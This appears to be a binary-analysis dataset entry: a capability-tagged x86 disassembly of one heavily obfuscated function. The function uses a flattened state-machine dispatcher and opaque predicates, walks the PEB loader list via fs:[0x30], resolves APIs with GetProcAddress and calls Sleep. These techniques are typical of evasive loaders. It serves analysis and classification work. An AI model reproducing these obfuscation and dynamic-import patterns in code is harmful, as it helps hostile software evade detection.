Function at 0x401c20
Capabilities:
Access peb ldr_data
Create thread
Get number of processors
Link function at runtime on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1cc
mov eax, dword [0x4812c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xbdcfeef9
jmp 0x401c80
mov eax, dword [0x483468]
mov edi, 0xc05012f0
mov esi, 0xd347ba28
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd347ba28
sete al
cmove ecx, edi
cmp dword [0x483464], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, edi
mov eax, ecx
nop dword [eax]
cmp eax, 0xfc2ff809
jle 0x401cf0
cmp eax, 0x39ee06d1
jg 0x401d80
cmp eax, 0x189d4cbc
jle 0x401ea6
cmp eax, 0x2b77f30d
jg 0x402015
cmp eax, 0x1e7aa018
jg 0x40231e
cmp eax, 0x1b41c955
jle 0x40289d
cmp eax, 0x1c9f0ce9
jle 0x40306f
cmp eax, 0x1c9f0cea
je 0x403c93
cmp eax, 0x1cb7d827
je 0x403cad
cmp eax, 0x1d956580
jne 0x401c80
mov eax, 0xcb0b7d16
jmp 0x401c80
cmp eax, 0xba3ac76f
jle 0x401e00
cmp eax, 0xd7af2b45
jle 0x401efd
cmp eax, 0xec02ab9a
jg 0x402070
cmp eax, 0xe15bcefb
jg 0x4023aa
cmp eax, 0xd99afd62
jle 0x4028d4
cmp eax, 0xdc198578
jle 0x40308f
cmp eax, 0xdc198579
je 0x403cc3
cmp eax, 0xde5f01f2
je 0x403ccd
cmp eax, 0xe03d6a0b
jne 0x401c80
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0xf9738c97
jmp 0x401c80
cmp eax, 0x5d3bc7f0
jle 0x401f64
cmp eax, 0x6feac6a4
jg 0x4020bc
cmp eax, 0x66ae950e
jg 0x402425
cmp eax, 0x5ff43a65
jle 0x4028ff
cmp eax, 0x63085e9d
jle 0x4030c4
cmp eax, 0x63085e9e
je 0x403cda
cmp eax, 0x634514cb
je 0x403d12
cmp eax, 0x6590a802
jne 0x401c80
movzx eax, byte [ebp - 0x71]
mov edx, 0x781023f4
mov ecx, eax
xor cl, 0xfe
test cl, al
mov eax, 0x9bef1cc1
cmove eax, edx
jmp 0x401c80
cmp eax, 0x9af4f30f
jle 0x401fbb
cmp eax, 0xa9302d21
jg 0x40211b
cmp eax, 0xa21aecdc
jg 0x402472
cmp eax, 0x9d4febf6
jle 0x40292a
cmp eax, 0xa0942dbe
jle 0x4030ec
cmp eax, 0xa0942dbf
je 0x403d3b
cmp eax, 0xa1712f26
je 0x403d53
cmp eax, 0xa19a3f8d
jne 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0xf76a075a
mov edi, 0x839ad901
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x2c]
cmovge eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0x16c], ecx
jmp 0x401c80
cmp eax, 0x911b886
jle 0x402180
cmp eax, 0xf5ee640
jg 0x4024be
cmp eax, 0xccd55fb
jle 0x402965
cmp eax, 0xe9dbaa2
jle 0x40312b
cmp eax, 0xe9dbaa3
je 0x403d69
cmp eax, 0xeadfb62
je 0x403d73
cmp eax, 0xecf905a
jne 0x401c80
mov eax, 0x82f3f1d0
jmp 0x401c80
cmp eax, 0xcc4d8395
jle 0x402211
cmp eax, 0xd1d394fa
jg 0x4024ff
cmp eax, 0xce580509
jle 0x402999
cmp eax, 0xd0875b7d
jle 0x40314b
cmp eax, 0xd0875b7e
je 0x403d86
cmp eax, 0xd1307c99
je 0x403d90
cmp eax, 0xd17b6fcc
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x5d3bc7f1
mov edi, 0xa752ffc7
jmp 0x404153
cmp eax, 0x4acc4f78
jle 0x402269
cmp eax, 0x54d457f9
jg 0x402540
cmp eax, 0x4d20429a
jle 0x4029d4
cmp eax, 0x4f6fd71a
jle 0x40316e
cmp eax, 0x4f6fd71b
je 0x403db2
cmp eax, 0x5443c564
je 0x403dbc
cmp eax, 0x549e23de
jne 0x401c80
mov eax, 0x864dd48
jmp 0x401c80
cmp eax, 0x89fa4182
jle 0x4022b5
cmp eax, 0x93a4f35c
jg 0x4025e6
cmp eax, 0x8cd24da5
jle 0x402a26
cmp eax, 0x8fc9ead4
jle 0x40318e
cmp eax, 0x8fc9ead5
je 0x403de1
cmp eax, 0x909c89ec
je 0x403e14
cmp eax, 0x92274dd8
jne 0x401c80
mov eax, dword [ebp - 0x44]
mov eax, 0x2f6c2cdb
jmp 0x401c80
cmp eax, 0x3204439d
jg 0x402640
cmp eax, 0x2f6c2cda
jle 0x402a7b
cmp eax, 0x2f7dbf5c
jle 0x4031b4
cmp eax, 0x2f7dbf5d
je 0x403e3d
cmp eax, 0x2fbfddd7
je 0x403e55
cmp eax, 0x314f25bc
jne 0x401c80
mov eax, dword [ebp - 0x15c]
sar eax, 0xc
mov dword [ebp - 0x160], eax
mov eax, 0x1e7aa019
jmp 0x401c80
cmp eax, 0xf3750b83
jg 0x402697
cmp eax, 0xf015f876
jle 0x402aaf
cmp eax, 0xf0c34b5f
jle 0x4031e2
cmp eax, 0xf0c34b60
je 0x403e5f
cmp eax, 0xf1095db3
je 0x403e69
cmp eax, 0xf1da00ef
jne 0x401c80
mov eax, 0x314f25bc
jmp 0x401c80
cmp eax, 0x781023f3
jg 0x4026e7
cmp eax, 0x722ee239
jle 0x402b08
cmp eax, 0x757cd657
jle 0x403202
cmp eax, 0x757cd658
je 0x403e82
cmp eax, 0x75f17e38
je 0x403e98
cmp eax, 0x777c96fa
jne 0x401c80
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x781023f4
jmp 0x401c80
cmp eax, 0xb38937ff
jle 0x402779
cmp eax, 0xb51d82f5
jle 0x402b3e
cmp eax, 0xb63dc1ed
jle 0x403225
cmp eax, 0xb63dc1ee
je 0x403ebf
cmp eax, 0xb747f2ee
je 0x403ee3
cmp eax, 0xba05121f
jne 0x401c80
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, 0x592ff49c
jmp 0x401c80
cmp eax, 0x2c25acb
jle 0x4027af
cmp eax, 0x761be08
jle 0x402b7a
cmp eax, 0x8168802
jle 0x40325e
cmp eax, 0x8168803
je 0x403ef3
cmp eax, 0x864dd48
je 0x403f12
cmp eax, 0x889494b
jne 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0x1d956580
mov dword [ebp - 0xc8], 1
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x722ee23a
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401c80
cmp eax, 0xc11757c8
jle 0x4027fb
cmp eax, 0xc7079bee
jle 0x402ba5
cmp eax, 0xc9880da3
jle 0x403289
cmp eax, 0xc9880da4
je 0x403f31
cmp eax, 0xcb0b7d16
je 0x403f65
cmp eax, 0xcb969658
jne 0x401c80
cmp byte [ebp - 0x6d], 0
mov eax, 0x599bd40e
mov ecx, 0x56782dd8
cmovne eax, ecx
jmp 0x401c80
cmp eax, 0x43a7ce16
jle 0x402831
cmp eax, 0x4901abd1
jle 0x402bf5
cmp eax, 0x49a0ed64
jle 0x4032b5
cmp eax, 0x49a0ed65
je 0x403f78
cmp eax, 0x4a940654
je 0x403f9a
cmp eax, 0x4aac8854
jne 0x401c80
mov eax, 0x1069e10f
jmp 0x401c80
cmp eax, 0x8707f8fa
jle 0x402867
cmp eax, 0x87af1a28
jle 0x402c3b
cmp eax, 0x8926d96c
jle 0x4032fe
cmp eax, 0x8926d96d
je 0x403faa
cmp eax, 0x89577e42
je 0x403fc2
cmp eax, 0x895b88d7
jne 0x401c80
mov eax, dword [ebp - 0x24]
mov esi, 0x7eee8d05
mov edi, 0xb138c0ca
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [0x483468]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb138c0ca
jmp 0x404586
cmp eax, 0x25492a19
jle 0x402c8c
cmp eax, 0x28f33321
jle 0x40333b
cmp eax, 0x28f33322
je 0x403fe8
cmp eax, 0x299bff5f
je 0x404037
cmp eax, 0x2a621d5e
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x4a940654
mov edi, 0x8707f8fb
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x94]
cmovge ecx, esi
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x10c], eax
mov eax, ecx
jmp 0x401c80
cmp eax, 0xe531ea5a
jle 0x402ccc
cmp eax, 0xe724ea02
jle 0x403364
cmp eax, 0xe724ea03
je 0x40408a
cmp eax, 0xe79ad15c
je 0x404094
cmp eax, 0xe868b649
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x592ff49c
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xba05121f
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x1c]
jmp 0x405278
cmp eax, 0x67d22d44
jle 0x402d0f
cmp eax, 0x6c393fe9
jle 0x40339a
cmp eax, 0x6c393fea
je 0x4040e4
cmp eax, 0x6e8e5ef2
je 0x4040f1
cmp eax, 0x6f09ad67
jne 0x401c80
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, 0x299bff5f
jmp 0x401c80
cmp eax, 0xa4ee9aa7
jle 0x402d43
cmp eax, 0xa726cc2f
jle 0x4033d7
cmp eax, 0xa726cc30
je 0x40413e
cmp eax, 0xa752ffc7
je 0x404182
cmp eax, 0xa8297848
jne 0x401c80
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
mov eax, 0x7134a53a
jmp 0x401c80
cmp eax, 0x10b41f36
jle 0x402d8a
cmp eax, 0x17ee3c91
jle 0x40342c
cmp eax, 0x17ee3c92
je 0x40418c
cmp eax, 0x1841c461
je 0x40419c
cmp eax, 0x1891bd96
jne 0x401c80
mov eax, 0x7aea2dc
jmp 0x401c80
cmp eax, 0xd448dbf3
jle 0x402dd2
cmp eax, 0xd55c0bda
jle 0x40344c
cmp eax, 0xd55c0bdb
je 0x4041bb
cmp eax, 0xd695fd3a
je 0x4041d6
cmp eax, 0xd7619795
jne 0x401c80
mov eax, 0x79a995a8
jmp 0x401c80
cmp eax, 0x592ff49b
jle 0x402dfd
cmp eax, 0x5b933f38
jle 0x403495
cmp eax, 0x5b933f39
je 0x4041ec
cmp eax, 0x5bb0b5da
je 0x4041f6
cmp eax, 0x5c143315
jne 0x401c80
mov eax, dword [ebp - 0x14]
mov esi, 0xa4ee9aa8
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3a18d47
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x38]
cmovge eax, edx
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
add ecx, 0xfffffff8
shr ecx, 1
mov dword [ebp - 0x158], ecx
jmp 0x401c80
cmp eax, 0x9865a752
jle 0x402e4d
cmp eax, 0x9a0311e2
jle 0x4034ca
cmp eax, 0x9a0311e3
je 0x404200
cmp eax, 0x9a501311
je 0x404232
cmp eax, 0x9a75fa19
jne 0x401c80
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x19c]
mov dword [eax], ecx
mov ecx, 0xca9713a
mov eax, dword [ebp - 0x60]
cmp dword [eax], 0
mov eax, 0xe5b3429c
cmove eax, ecx
jmp 0x401c80
cmp eax, 0x3619cd88
jle 0x402e95
cmp eax, 0x38b92635
jle 0x4034fb
cmp eax, 0x38b92636
je 0x404292
cmp eax, 0x38e6a4ff
je 0x4042d3
cmp eax, 0x39ceecdc
jne 0x401c80
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, 0xd448dbf4
jmp 0x401c80
cmp eax, 0xf83cfa40
jle 0x402ecb
cmp eax, 0xf9026c7e
jle 0x40352b
cmp eax, 0xf9026c7f
je 0x404318
cmp eax, 0xf9738c97
je 0x40434e
cmp eax, 0xfac3e84a
jne 0x401c80
cmp dword [ebp - 0x1b4], 0
mov eax, 0x61ca041b
mov ecx, 0x3897c18e
cmove eax, ecx
jmp 0x401c80
cmp eax, 0x7d033271
jle 0x402f0f
cmp eax, 0x7eee8d04
jle 0x403576
cmp eax, 0x7eee8d05
je 0x404375
cmp eax, 0x7f3cad94
je 0x40437f
cmp eax, 0x7f9b578b
jne 0x401c80
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf4]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0xec]
vzeroupper
call fcn.0043f1e0
add esp, 0xc
mov eax, dword [0x483468]
mov edi, 0xd0875b7e
mov esi, 0x2c25acc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2c25acc
jmp 0x405337
cmp eax, 0xab9b50b5
jg 0x402f3a
cmp eax, 0xa9d48ebc
jle 0x4035a0
cmp eax, 0xab083d09
je 0x404392
cmp eax, 0xab0e0cb1
jne 0x405450
mov eax, 0xab9b50b6
jmp 0x401c80
cmp eax, 0x5b6141
jg 0x402f70
cmp eax, 0xff84f945
jg 0x4035c0
cmp eax, 0xfc2ff80a
je 0x4043c3
cmp eax, 0xfe60bbfc
jne 0x401c80
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, 0xb53e0749
jmp 0x401c80
cmp eax, 0xbdcfeef8
jg 0x402fa7
cmp eax, 0xbc3d44b1
jg 0x4035f9
cmp eax, 0xba3ac770
je 0x4043f4
cmp eax, 0xba6b8fa1
jne 0x401c80
mov eax, 0x2f78c3a3
jmp 0x401c80
cmp eax, 0x3ec32f67
jg 0x402fff
cmp eax, 0x3cbeab59
jg 0x40364e
cmp eax, 0x39ee06d2
je 0x404431
cmp eax, 0x3bd0b4c7
jne 0x401c80
mov eax, 0x92274dd8
jmp 0x401c80
cmp eax, 0x82f3f1cf
jg 0x403044
cmp eax, 0x81a585e4
jg 0x40366e
cmp eax, 0x8074a018
je 0x404450
cmp eax, 0x813ed465
jne 0x401c80
mov eax, 0x43a7ce17
jmp 0x401c80
cmp eax, 0x1b0cc007
jg 0x40368e
cmp eax, 0x189d4cbd
je 0x404476
cmp eax, 0x19b0c4f3
jne 0x401c80
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0x40
mov eax, 0xe868b649
jmp 0x401c80
cmp eax, 0xd853391b
jg 0x4036ae
cmp eax, 0xd7af2b46
je 0x404480
cmp eax, 0xd806019b
jne 0x401c80
mov eax, 0x82b05890
jmp 0x401c80
cmp eax, 0x5da216c0
jg 0x4036f6
cmp eax, 0x5d3bc7f1
je 0x40448a
cmp eax, 0x5d7e2b12
jne 0x401c80
mov eax, 0xe03d6a0b
jmp 0x401c80
cmp eax, 0x9c0e9bf3
jg 0x403716
cmp eax, 0x9af4f310
je 0x404494
cmp eax, 0x9bef1cc1
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xabebb1c4
mov edi, 0x4bb6a9a7
jmp 0x404153
cmp eax, 0xc151c1a
jg 0x403741
cmp eax, 0x911b887
je 0x404506
cmp eax, 0xb97d2f1
jne 0x401c80
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x90]
mov eax, 0x710632d2
jmp 0x401c80
cmp eax, 0xcda14410
jg 0x40377d
cmp eax, 0xcc4d8396
je 0x40453b
cmp eax, 0xcd2328e2
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x8bbd112d
mov edi, 0x6bd1ae50
jmp 0x404153
cmp eax, 0x4c9e6ca6
jg 0x4037db
cmp eax, 0x4acc4f79
je 0x404545
cmp eax, 0x4bb6a9a7
jne 0x401c80
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x483468]
mov edi, 0x1b41c956
mov esi, 0xabebb1c4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xabebb1c4
jmp 0x401c5f
cmp eax, 0x8ae4b298
jg 0x403804
cmp eax, 0x89fa4183
je 0x40456c
cmp eax, 0x8acd26e9
jne 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0xf8a0bd81
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xeadfb62
jmp 0x4051e2
cmp eax, 0x2dc9a65c
jg 0x403824
cmp eax, 0x2b77f30e
je 0x4045ab
cmp eax, 0x2b8e8211
jne 0x401c80
mov eax, dword [ebp - 0x34]
mov dword [eax], 4
mov eax, 0x3ec32f68
jmp 0x401c80
cmp eax, 0xed91bff6
jg 0x403854
cmp eax, 0xec02ab9b
je 0x4045d7
cmp eax, 0xec891db0
jne 0x401c80
mov eax, dword [ebp - 0x5c]
mov esi, 0x34dd5d4f
mov edi, 0x8eabb644
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
mov eax, dword [0x483468]
lea ecx, [eax + 1]
setne byte [ebp - 0x6a]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8eabb644
jmp 0x40513e
cmp eax, 0x7134a539
jg 0x40388a
cmp eax, 0x6feac6a5
je 0x4045fd
cmp eax, 0x710632d2
jne 0x401c80
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, 0xc9880da4
jmp 0x401c80
cmp eax, 0xb4cf8f19
jg 0x4038b6
cmp eax, 0xb3893800
je 0x40461c
cmp eax, 0xb41a3dc7
jne 0x401c80
mov eax, dword [ebp - 0x1ac]
mov ecx, 0x1c9f0cea
cmp eax, 0xc
mov eax, 0x3e140f3b
cmove eax, ecx
jmp 0x401c80
cmp eax, 0x3a18d46
jg 0x4038e8
cmp eax, 0x2c25acc
je 0x404644
cmp eax, 0x338c843
jne 0x401c80
mov eax, 0x671ae1d9
jmp 0x401c80
cmp eax, 0xc54c3e17
jg 0x403925
cmp eax, 0xc11757c9
je 0x404696
cmp eax, 0xc218c9a6
jne 0x401c80
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x198], eax
mov eax, 0x909c89ec
jmp 0x401c80
cmp eax, 0x463623ee
jg 0x403962
cmp eax, 0x43a7ce17
je 0x4046a0
cmp eax, 0x43c4bdf7
jne 0x401c80
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x24]
inc eax
mov dword [ecx], eax
mov eax, 0x4901abd2
jmp 0x401c80
cmp eax, 0x875e4f52
jg 0x40398e
cmp eax, 0x8707f8fb
je 0x4046b5
cmp eax, 0x871ccf1b
jne 0x401c80
mov eax, dword [ebp - 0x20]
mov esi, 0x189d4cbd
mov edi, 0x58b35ffe
mov dword [eax], 0xa
mov eax, dword [0x483468]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x58b35ffe
jmp 0x40513e
cmp eax, 0x22bc0154
jg 0x4039ae
cmp eax, 0x1e7aa019
je 0x4046bf
cmp eax, 0x1e8d3d92
jne 0x401c80
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
sub ecx, dword [eax + 0x34]
mov eax, 0xf9026c7f
mov dword [ebp - 0x154], ecx
jmp 0x401c80
cmp eax, 0xe28642bd
jg 0x4039ed
cmp eax, 0xe15bcefc
je 0x401c3d
cmp eax, 0xe1d77154
jne 0x401c80
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, 0xb97d2f1
jmp 0x401c80
cmp eax, 0x671ae1d8
jg 0x403a39
cmp eax, 0x66ae950f
je 0x4046df
cmp eax, 0x66cb9a0d
jne 0x401c80
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov eax, 0xde5f01f2
jmp 0x401c80
cmp eax, 0xa3598dc4
jg 0x403a65
cmp eax, 0xa21aecdd
je 0x404713
cmp eax, 0xa33e9272
jne 0x401c80
mov eax, dword [0x483468]
mov esi, 0xd89bed7b
mov edi, 0xa1712f26
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa1712f26
jmp 0x40458e
cmp eax, 0xf90c269
jg 0x403a95
cmp eax, 0xf5ee641
je 0x40471d
cmp eax, 0xf67223a
jne 0x401c80
mov eax, dword [0x483468]
mov edi, 0x891d64c9
mov esi, 0xdc198579
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xdc198579
jmp 0x401c5f
cmp eax, 0xd3d7390b
jg 0x403ac7
cmp eax, 0xd1d394fb
je 0x404734
cmp eax, 0xd347ba28
jne 0x401c80
mov eax, 0xe15bcefc
jmp 0x401c80
cmp eax, 0x56782dd7
jg 0x403af0
cmp eax, 0x54d457fa
je 0x40476d
cmp eax, 0x54f2881c
jne 0x401c80
cmp dword [ebp - 0x54], 0
mov eax, dword [0x483468]
mov edi, 0x1fad3b3
mov esi, 0xd99afd63
lea ecx, [eax - 1]
sets byte [ebp - 0x6e]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd99afd63
jmp 0x401c5f
cmp eax, 0x956c86eb
jg 0x403b19
cmp eax, 0x93a4f35d
je 0x40478b
cmp eax, 0x9555b168
jne 0x401c80
mov eax, dword [0x483468]
mov edi, 0x82f3f1d0
mov esi, 0xecf905a
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xecf905a
jmp 0x401c5f
cmp eax, 0x34dd5d4e
jg 0x403b5d
cmp eax, 0x3204439e
je 0x404795
cmp eax, 0x32986c5d
jne 0x401c80
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, 0xab083d09
jmp 0x401c80
cmp eax, 0xf73208cd
jg 0x403b89
cmp eax, 0xf3750b84
je 0x4048b2
cmp eax, 0xf612f4d5
jne 0x401c80
mov eax, dword [ebp - 0x58]
push dword [ebp - 0x10c]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, 0xbcad955f
jmp 0x401c80
cmp eax, 0x79a995a7
jg 0x403bac
cmp eax, 0x781023f4
je 0x4048c8
cmp eax, 0x78285f35
jne 0x401c80
mov eax, 0xd7af2b46
jmp 0x401c80
cmp eax, 0xaf6a83d4
jg 0x403bcc
cmp eax, 0xab9b50b6
je 0x4048e0
cmp eax, 0xabebb1c4
jne 0x401c80
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x4bb6a9a7
jmp 0x401c80
cmp eax, 0x1fad3b2
jg 0x403bef
cmp eax, 0x5b6142
je 0x4048fd
cmp eax, 0xfb0fca
jne 0x401c80
cmp byte [ebp - 0x67], 0
mov eax, 0x66cb9a0d
mov ecx, 0x5443c564
cmovne eax, ecx
jmp 0x401c80
cmp eax, 0xc05012ef
jg 0x403c27
cmp eax, 0xbdcfeef9
je 0x404923
cmp eax, 0xbfbdcc2f
jne 0x401c80
mov eax, dword [ebp - 0x98]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, 0x7d033272
jmp 0x401c80
cmp eax, 0x41602750
jg 0x403c47
cmp eax, 0x3ec32f68
je 0x40493e
cmp eax, 0x40e13c6a
jne 0x401c80
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 4]
mov dword [ebp - 0x118], eax
mov eax, 0xf1095db3
jmp 0x401c80
cmp eax, 0x84e6238d
jg 0x403c67
cmp eax, 0x82f3f1d0
je 0x40496e
cmp eax, 0x839ad901
jne 0x401c80
mov eax, 0x2f7dbf5d
jmp 0x401c80
cmp eax, 0x1b41c956
je 0x4049a1
cmp eax, 0x1b9b3a34
jne 0x401c80
mov eax, 0xfe60bbfc
jmp 0x401c80
cmp eax, 0xd99afd63
je 0x4049ab
cmp eax, 0xdb0c791a
jne 0x401c80
mov eax, dword [0x483468]
mov edi, 0x89fa4183
mov esi, 0xc089dde6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc089dde6
jmp 0x405337
cmp eax, 0x5ff43a66
je 0x4049ca
cmp eax, 0x61ca041b
jne 0x401c80
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, 0x8ae4b299
jmp 0x401c80
cmp eax, 0x9d4febf7
je 0x4049fb
cmp eax, 0xa01e91ad
jne 0x401c80
mov eax, dword [ebp - 0x24]
mov eax, dword [0x483468]
mov edi, 0x89577e42
mov esi, 0xc11757c9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc11757c9
jmp 0x40533f
cmp eax, 0xccd55fc
je 0x404a05
cmp eax, 0xe97b83f
jne 0x401c80
mov eax, 0xc151c1b
jmp 0x401c80
cmp eax, 0xce58050a
je 0x404a0f
cmp eax, 0xcebe670d
jne 0x401c80
mov eax, dword [ebp - 0x1c]
mov eax, 0xd1d394fb
jmp 0x401c80
cmp eax, 0x4d20429b
je 0x404a25
cmp eax, 0x4e75f567
jne 0x401c80
mov eax, 0x549e23de
jmp 0x401c80
cmp eax, 0x8cd24da6
je 0x404a4c
cmp eax, 0x8eabb644
jne 0x401c80
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x3c]
mov eax, 0xec891db0
jmp 0x401c80
cmp eax, 0x2f6c2cdb
je 0x404a56
cmp eax, 0x2f78c3a3
jne 0x401c80
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
mov eax, 0x4acc4f79
jmp 0x401c80
cmp eax, 0xf015f877
je 0x404a99
cmp eax, 0xf0abb15c
jne 0x401c80
mov eax, 0x3204439e
jmp 0x401c80
cmp eax, 0x722ee23a
je 0x404aa3
cmp eax, 0x734c12ee
